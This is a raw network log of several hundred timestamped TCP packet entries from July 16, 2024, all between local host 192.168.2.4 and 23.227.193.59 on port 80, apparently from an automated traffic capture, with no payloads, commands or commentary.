Jul 16, 2024 22:29:49.930160046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930192947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930207014 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930226088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930259943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930275917 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930298090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930331945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930345058 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930365086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930409908 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930780888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930830002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930862904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930875063 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930897951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930931091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930948973 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.930963993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.930996895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931010008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931030989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931063890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931078911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931097031 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931129932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931144953 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931163073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931195974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931210041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931229115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931277990 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931653023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931685925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931727886 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931735992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931768894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931802034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931818008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931834936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931869030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931879044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931904078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931936026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.931952000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.931969881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932003975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932019949 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.932035923 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932069063 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932084084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.932616949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932651043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932683945 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.932709932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932746887 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932758093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.932780981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932813883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932826042 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.932847977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.932890892 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:49.932890892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:49.978501081 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.016509056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016596079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016628981 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016659021 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.016680956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016716003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016732931 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.016748905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016782045 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016791105 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.016814947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016856909 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.016865969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016899109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016932011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016941071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.016963005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.016995907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017008066 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017029047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017061949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017080069 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017157078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017189026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017199039 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017222881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017251968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017271996 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017285109 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017318010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017328024 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017349005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017383099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017396927 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017484903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017534018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017618895 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017652035 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017683983 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017699003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017716885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017750025 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017760992 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017782927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017816067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017826080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.017853975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.017903090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018125057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018157005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018191099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018203974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018223047 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018255949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018265963 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018335104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018368959 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018382072 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018423080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018471003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018634081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018683910 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018716097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018729925 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018749952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018783092 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018796921 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018815994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018847942 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018860102 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018882036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018914938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018923998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.018948078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.018996000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019006968 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.019030094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019062996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019073009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.019097090 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019146919 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.019649029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019701004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019732952 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019750118 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.019767046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019798994 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019813061 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.019834042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019865990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019876003 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.019902945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019936085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.019948006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.019969940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020003080 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020020008 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020066023 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020098925 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020117044 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020132065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020164967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020176888 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020225048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020257950 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020265102 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020589113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020634890 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020638943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020670891 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020705938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020715952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020764112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020797014 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020812035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020829916 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020863056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020872116 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020898104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020931005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.020956993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.020987034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021018982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021032095 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021051884 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021085024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021094084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021147013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021178961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021193981 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021212101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021255016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021617889 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021625042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021636009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021667004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021671057 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021718025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021734953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021768093 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021800041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021810055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021847010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021878958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021892071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.021945000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021977901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.021985054 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.022011995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022056103 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.022058964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022093058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022149086 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.022157907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022607088 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022649050 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.022691965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022725105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022758961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022773027 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.022851944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022887945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022896051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.022922039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022955894 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022988081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.022989035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.023020029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023034096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.023052931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023086071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023094893 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.023118973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023152113 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023159981 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.023185015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023220062 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023230076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.023401976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.023446083 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.023452044 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.072299004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.106502056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106542110 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106559038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106574059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106590033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106604099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106621027 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106703997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106734037 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.106791973 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.106828928 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106844902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106861115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106878042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106889009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.106894016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106909990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106920004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.106925011 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106942892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.106951952 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.106982946 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.107496977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107511997 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107527018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107542992 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107553005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.107558966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107573986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107583046 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.107589006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107604980 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107620001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107620955 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.107635021 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107650042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107660055 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.107664108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107681036 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107696056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.107706070 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.107722998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.107744932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.108433962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108449936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108469009 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108500004 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108513117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108514071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.108529091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108545065 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108546972 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.108560085 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108575106 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108583927 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.108589888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108604908 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108611107 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.108622074 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108633041 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.108637094 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108653069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108660936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.108668089 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.108697891 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.109138966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109154940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109198093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.109325886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109343052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109355927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109370947 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109373093 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.109385967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109400988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109409094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.109416962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109431028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.109431982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109447002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109460115 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.109461069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109477043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109492064 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109505892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:50.109507084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:50.109546900 CEST	49730	80	192.168.2.4	23.227.193.59
